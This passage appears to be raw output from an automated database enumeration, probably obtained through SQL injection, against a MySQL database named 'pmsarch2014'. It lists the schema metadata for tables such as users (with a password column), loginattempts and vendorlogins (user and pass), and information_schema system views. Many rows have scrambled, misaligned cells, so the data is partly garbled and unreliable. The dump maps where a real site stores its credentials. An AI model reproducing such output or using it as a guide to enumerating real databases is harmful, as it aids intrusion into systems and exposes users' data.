auto_increment | | select,insert,update,references | id | 1 | posts | PRI | | | NO | | | title | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | posts | latin1 | | 2 | 255 | 255 | | NO | | | content | longtext | def | longtext | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | posts | latin1 | | 3 | 4294967295 | 4294967295 | | NO | | | author | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | posts | latin1 | | 4 | 255 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | date | 5 | posts | | | | NO | | | file | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | posts | latin1 | | 6 | 255 | 255 | | 7 | 10 | | | NO | posts | | | | | select,insert,update,references | int(1) | canComment | int | | pmsarch2014 | | 0 | def | 0 | | | 8 | 10 | | | NO | posts | | | | | select,insert,update,references | int(1) | canRate | int | | pmsarch2014 | | 0 | def | 0 | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(25) | | | select,insert,update,references | userSort | 9 | posts | | | | NO | | | sold | varchar | def | varchar(11) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | posts | latin1 | | 10 | 11 | 11 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | posts_to_feed | PRI | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | pid | 2 | posts_to_feed | MUL | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | fid | 3 | posts_to_feed | MUL | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | ratings | PRI | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | rating | 2 | ratings | | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | pid | 3 | ratings | | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | uid | 4 | ratings | | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | sectiongroups | PRI | | | NO | | | name | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | sectiongroups | latin1 | | 2 | 255 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(5) | | | select,insert,update,references | sort | 3 | sectiongroups | | | | 4 | 10 | | | NO | sectiongroups | | | | | select,insert,update,references | int(1) | removable | int | | pmsarch2014 | | 0 | def | 1 | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | sections | PRI | | | NO | | | name | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | sections | latin1 | | 2 | 255 | 255 | | NO | | | content | longtext | def | longtext | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | sections | latin1 | | 3 | 4294967295 | 4294967295 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(255) | | | select,insert,update,references | date | 4 | sections | | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(255) | | | select,insert,update,references | group | 5 | sections | MUL | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | sectionsettings | PRI | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | sectionId | 2 | sectionsettings | | | | NO | | | name | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | sectionsettings | latin1 | | 3 | 255 | 255 | | NO | | | value | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | sectionsettings | latin1 | | 4 | 255 | 255 | | NO | | | default | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | sectionsettings | latin1 | | 5 | 255 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | settings | PRI | | | NO | | | name | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | settings | latin1 | | 2 | 255 | 255 | | NO | | | value | longtext | def | longtext | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | settings | latin1 | | 3 | 4294967295 | 4294967295 | | NO | | | default | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | settings | latin1 | | 4 | 255 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | feedId | 5 | settings | | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | tags | PRI | | | NO | | | tag | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | tags | latin1 | | 2 | 255 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | tags_to_posts | PRI | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | pid | 2 | tags_to_posts | | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | tid | 3 | tags_to_posts | | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | users | PRI | | | NO | | | username | varchar | def | varchar(20) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | users | latin1 | | 2 | 20 | 20 | | NO | | | email | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | users | latin1 | | 3 | 255 | 255 | | NO | | | password | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | users | latin1 | | 4 | 255 | 255 | | NO | | | name | varchar | def | varchar(255) | | | | pmsarch2014 | | latin1_swedish_ci | | select,insert,update,references | users | latin1 | | 5 | 255 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | joinDate | 6 | users | | | | 7 | 10 | | | NO | users | | | | | select,insert,update,references | int(11) | accessLevel | int | | pmsarch2014 | | 0 | def | 0 | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | enabled | 8 | users | | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | canComment | 9 | users | | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | users_to_comments | PRI | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | uid | 2 | users_to_comments | | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | cid | 3 | users_to_comments | | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | vendorfiles | PRI | | | NO | | | name | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | vendorfiles | utf8 | | 2 | 765 | 255 | | NO | | | url | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | vendorfiles | utf8 | | 3 | 765 | 255 | | NO | | | path | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | vendorfiles | utf8 | | 4 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | vendorlogins | PRI | | | NO | | | user | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | vendorlogins | utf8 | | 2 | 765 | 255 | | NO | | | pass | varchar | def | varchar(255) | | | | pmsarch2014 | | utf8_general_ci | | select,insert,update,references | vendorlogins | utf8 | | 3 | 765 | 255 | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | auto_increment | | select,insert,update,references | id | 1 | vendors_to_files | PRI | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | fid | 2 | vendors_to_files | MUL | | | def | 0 | | | 10 | pmsarch2014 | NO | | | | | int | int(11) | | | select,insert,update,references | vid | 3 | vendors_to_files | MUL | | +----------------+-----------+------------+----------------------------+---------------+---------------------------------+----------------------------+--------------+--------------+---------------+---------------------------------------+---------------------+-----------------------------------+----------------+---------------------------------+---------------------------------+-------------------------------+--------------------+--------------------------+------------------------+--------------------------+ Database: information_schema Table: TABLES [97 entries] +---------+---------------------+-----------+-----------+------------+-------------+-------------------+---------------------+------------+-------------+-------------+-------------+-----------------+--------------+---------------------------------------+---------------+----------------+------------------+----------------+--------------------+-----------------+ | ENGINE | CHECKSUM | VERSION | DATA_FREE | TABLE_ROWS | TABLE_NAME | ROW_FORMAT | CHECK_TIME | TABLE_TYPE | UPDATE_TIME | CREATE_TIME | DATA_LENGTH | INDEX_LENGTH | TABLE_SCHEMA | TABLE_CATALOG | TABLE_COMMENT | AUTO_INCREMENT | AVG_ROW_LENGTH | CREATE_OPTIONS | TABLE_COLLATION | MAX_DATA_LENGTH | +---------+---------------------+-----------+-----------+------------+-------------+-------------------+---------------------+------------+-------------+-------------+-------------+-----------------+--------------+---------------------------------------+---------------+----------------+------------------+----------------+--------------------+-----------------+ | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16434816 | def | | CHARACTER_SETS | SYSTEM VIEW | 384 | max_rows=43690 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16704765 | def | | COLLATIONS | SYSTEM VIEW | 231 | max_rows=72628 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16357770 | def | | COLLATION_CHARACTER_SET_APPLICABILITY | SYSTEM VIEW | 195 | max_rows=86037 | 0 | information_schema | utf8_general_ci | | def | 75497472 | | 0 | | | COLUMNS | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=2789 | InnoDB | SYSTEM VIEW | | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16757145 | def | | COLUMN_PRIVILEGES | SYSTEM VIEW | 2565 | max_rows=6540 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16574250 | def | | ENGINES | SYSTEM VIEW | 490 | max_rows=34239 | 0 | information_schema | utf8_general_ci | | def | 75497472 | | 0 | | | EVENTS | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=618 | InnoDB | SYSTEM VIEW | | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16768412 | def | | FILES | SYSTEM VIEW | 14468 | max_rows=1159 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16755036 | def | | GLOBAL_STATUS | SYSTEM VIEW | 3268 | max_rows=5133 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16755036 | def | | GLOBAL_VARIABLES | SYSTEM VIEW | 3268 | max_rows=5133 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16762755 | def | | KEY_COLUMN_USAGE | SYSTEM VIEW | 4637 | max_rows=3618 | 0 | information_schema | utf8_general_ci | | def | 75497472 | | 0 | | | OPTIMIZER_TRACE | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=578524 | InnoDB | SYSTEM VIEW | | | def | 75497472 | | 0 | | | PARAMETERS | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=6021 | InnoDB | SYSTEM VIEW | | | def | 75497472 | | 0 | | | PARTITIONS | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=5596 | InnoDB | SYSTEM VIEW | | | def | 75497472 | | 0 | | | PLUGINS | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=11328 | InnoDB | SYSTEM VIEW | | | def | 75497472 | | 0 | | | PROCESSLIST | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=22369 | InnoDB | SYSTEM VIEW | | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16562084 | def | | PROFILING | SYSTEM VIEW | 308 | max_rows=54471 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16767162 | def | | REFERENTIAL_CONSTRAINTS | SYSTEM VIEW | 4814 | max_rows=3485 | 0 | information_schema | utf8_general_ci | | def | 75497472 | | 0 | | | ROUTINES | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=582 | InnoDB | SYSTEM VIEW | | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16738048 | def | | SCHEMATA | SYSTEM VIEW | 3464 | max_rows=4843 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16736899 | def | | SCHEMA_PRIVILEGES | SYSTEM VIEW | 2179 | max_rows=7699 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16755036 | def | | SESSION_STATUS | SYSTEM VIEW | 3268 | max_rows=5133 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16755036 | def | | SESSION_VARIABLES | SYSTEM VIEW | 3268 | max_rows=5133 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16752736 | def | | STATISTICS | SYSTEM VIEW | 5753 | max_rows=2916 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16757775 | def | | TABLES | SYSTEM VIEW | 9441 | max_rows=1777 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16772763 | def | | TABLESPACES | SYSTEM VIEW | 6951 | max_rows=2413 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16721712 | def | | TABLE_CONSTRAINTS | SYSTEM VIEW | 2504 | max_rows=6700 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16748692 | def | | TABLE_PRIVILEGES | SYSTEM VIEW | 2372 | max_rows=7073 | 0 | information_schema | utf8_general_ci | | def | 75497472 | | 0 | | | TRIGGERS | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=568 | InnoDB | SYSTEM VIEW | | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16726092 | def | | USER_PRIVILEGES | SYSTEM VIEW | 1986 | max_rows=8447 | 0 | information_schema | utf8_general_ci | | def | 75497472 | | 0 | | | VIEWS | 16384 | | | 0 | Dynamic | utf8_general_ci | | information_schema | 10 | 0 | max_rows=6797 | InnoDB | SYSTEM VIEW | | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16746784 | def | | INNODB_LOCKS | SYSTEM VIEW | 31244 | max_rows=536 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16746912 | def | | INNODB_TRX | SYSTEM VIEW | 4536 | max_rows=3698 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16773779 | def | | INNODB_SYS_DATAFILES | SYSTEM VIEW | 12007 | max_rows=1397 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16705332 | def | | INNODB_FT_CONFIG | SYSTEM VIEW | 1163 | max_rows=14425 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 11883850 | def | | INNODB_SYS_VIRTUAL | SYSTEM VIEW | 17 | max_rows=986895 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 13107200 | def | | INNODB_CMP | SYSTEM VIEW | 25 | max_rows=671088 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 9437184 | def | | INNODB_FT_BEING_DELETED | SYSTEM VIEW | 9 | max_rows=1864135 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 13107200 | def | | INNODB_CMP_RESET | SYSTEM VIEW | 25 | max_rows=671088 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16728660 | def | | INNODB_CMP_PER_INDEX | SYSTEM VIEW | 1755 | max_rows=9559 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 15204352 | def | | INNODB_CMPMEM_RESET | SYSTEM VIEW | 29 | max_rows=578524 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 9437184 | def | | INNODB_FT_DELETED | SYSTEM VIEW | 9 | max_rows=1864135 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16765866 | def | | INNODB_BUFFER_PAGE_LRU | SYSTEM VIEW | 6669 | max_rows=2515 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16749238 | def | | INNODB_LOCK_WAITS | SYSTEM VIEW | 599 | max_rows=28008 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16694643 | def | | INNODB_TEMP_TABLE_INFO | SYSTEM VIEW | 1011 | max_rows=16594 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16615548 | def | | INNODB_SYS_INDEXES | SYSTEM VIEW | 618 | max_rows=27147 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16736364 | def | | INNODB_SYS_TABLES | SYSTEM VIEW | 2091 | max_rows=8023 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16609428 | def | | INNODB_SYS_FIELDS | SYSTEM VIEW | 594 | max_rows=28244 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16728660 | def | | INNODB_CMP_PER_INDEX_RESET | SYSTEM VIEW | 1755 | max_rows=9559 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16766844 | def | | INNODB_BUFFER_PAGE | SYSTEM VIEW | 6852 | max_rows=2448 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 14680064 | def | | INNODB_FT_DEFAULT_STOPWORD | SYSTEM VIEW | 56 | max_rows=299593 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16744898 | def | | INNODB_FT_INDEX_TABLE | SYSTEM VIEW | 1054 | max_rows=15917 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16744898 | def | | INNODB_FT_INDEX_CACHE | SYSTEM VIEW | 1054 | max_rows=15917 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16752582 | def | | INNODB_SYS_TABLESPACES | SYSTEM VIEW | 2133 | max_rows=7865 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16742448 | def | | INNODB_METRICS | SYSTEM VIEW | 2994 | max_rows=5603 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16738848 | def | | INNODB_SYS_FOREIGN_COLS | SYSTEM VIEW | 1748 | max_rows=9597 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 15204352 | def | | INNODB_CMPMEM | SYSTEM VIEW | 29 | max_rows=578524 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16332350 | def | | INNODB_BUFFER_POOL_STATS | SYSTEM VIEW | 257 | max_rows=65280 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16613350 | def | | INNODB_SYS_COLUMNS | SYSTEM VIEW | 610 | max_rows=27503 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16700064 | def | | INNODB_SYS_FOREIGN | SYSTEM VIEW | 1752 | max_rows=9576 | 0 | information_schema | utf8_general_ci | | Fixed | 2021-05-22 17:44:21 | | 0 | | 10 | | 0 | | | MEMORY | 16763355 | def | | INNODB_SYS_TABLESTATS | SYSTEM VIEW | 1215 | max_rows=13808 | 0 | information_schema | utf8_general_ci | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | latin1_swedish_ci | 2020-11-11 19:22:19 | | | 16384 | 32768 | Dynamic | 10 | | 0 | 1 | 0 | 0 | comments | def | | 0 | row_format=COMPACT | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Compact | 10 | | 30 | 37 | 546 | 0 | design2_images | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 17 | 27 | 963 | 0 | design3_images | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 16 | 20 | 1024 | 0 | design4_images | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 11 | 12 | 1489 | 0 | design5_images | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 5 | 6 | 3276 | 0 | design6_images | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 17 | 22 | 963 | 0 | design7_images | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 10 | 11 | 1638 | 0 | design8_images | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 13 | 14 | 1260 | 0 | design9_images | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 15 | 267 | 1092 | 0 | design_images | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 81920 | 0 | Dynamic | 10 | | 3 | 21 | 27306 | 0 | designs | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 6 | 17 | 2730 | 0 | designs2 | def | | 0 | row_format=COMPACT | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Compact | 10 | | 6 | 7 | 2730 | 0 | designs3 | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 6 | 9 | 2730 | 0 | designs4 | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 6 | 7 | 2730 | 0 | designs5 | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 2 | 3 | 8192 | 0 | designs6 | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 7 | 8 | 2340 | 0 | designs7 | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 3 | 4 | 5461 | 0 | designs8 | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 6 | 7 | 2730 | 0 | designs9 | def | | 0 | row_format=COMPACT | | InnoDB | BASE TABLE | pmsarch2014 | latin1_swedish_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Compact | 10 | | 6 | 11 | 2730 | 0 | feed | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | latin1_swedish_ci | 2020-11-11 19:22:19 | | | 49152 | 0 | Dynamic | 10 | | 360 | 487 | 136 | 0 | feedsettings | def | | Dynamic | 2020-11-11 19:22:19 | | 0 | 10 | BASE TABLE | | 0 | | | InnoDB | 0 | def | | loginattempts | pmsarch2014 | 172 | | 16384 | 95 | utf8_general_ci | | 0 | row_format=COMPACT | | InnoDB | BASE TABLE | pmsarch2014 | latin1_swedish_ci | 2020-11-11 19:22:19 | | | 49152 | 16384 | Compact | 10 | | 49 | 122 | 1003 | 0 | posts | def | | 0 | row_format=COMPACT | | InnoDB | BASE TABLE | pmsarch2014 | latin1_swedish_ci | 2020-11-11 19:22:19 | | | 16384 | 32768 | Compact | 10 | | 49 | 122 | 334 | 0 | posts_to_feed | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | latin1_swedish_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 0 | 1 | 0 | 0 | ratings | def | | 0 | row_format=COMPACT | | InnoDB | BASE TABLE | pmsarch2014 | latin1_swedish_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Compact | 10 | | 3 | 4 | 5461 | 0 | sectiongroups | def | | 0 | row_format=COMPACT | | InnoDB | BASE TABLE | pmsarch2014 | latin1_swedish_ci | 2020-11-11 19:22:19 | | | 16384 | 16384 | Compact | 10 | | 0 | 1 | 0 | 0 | sections | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | latin1_swedish_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 0 | 1 | 0 | 0 | sectionsettings | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | latin1_swedish_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 14 | 30 | 1170 | 0 | settings | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | latin1_swedish_ci | 2020-11-11 19:22:19 | | | 16384 | 16384 | Dynamic | 10 | | 0 | 1 | 0 | 0 | tags | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | latin1_swedish_ci | 2020-11-11 19:22:19 | | | 16384 | 16384 | Dynamic | 10 | | 0 | 1 | 0 | 0 | tags_to_posts | def | | 0 | row_format=COMPACT | | InnoDB | BASE TABLE | pmsarch2014 | latin1_swedish_ci | 2020-11-11 19:22:19 | | | 16384 | 16384 | Compact | 10 | | 2 | 4 | 8192 | 0 | users | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | latin1_swedish_ci | 2020-11-11 19:22:19 | | | 16384 | 16384 | Dynamic | 10 | | 0 | 1 | 0 | 0 | users_to_comments | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 0 | Dynamic | 10 | | 4 | 27 | 4096 | 0 | vendorfiles | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 19:22:19 | | | 16384 | 16384 | Dynamic | 10 | | 3 | 19 | 5461 | 0 | vendorlogins | def | | 0 | | | InnoDB | BASE TABLE | pmsarch2014 | utf8_general_ci | 2020-11-11 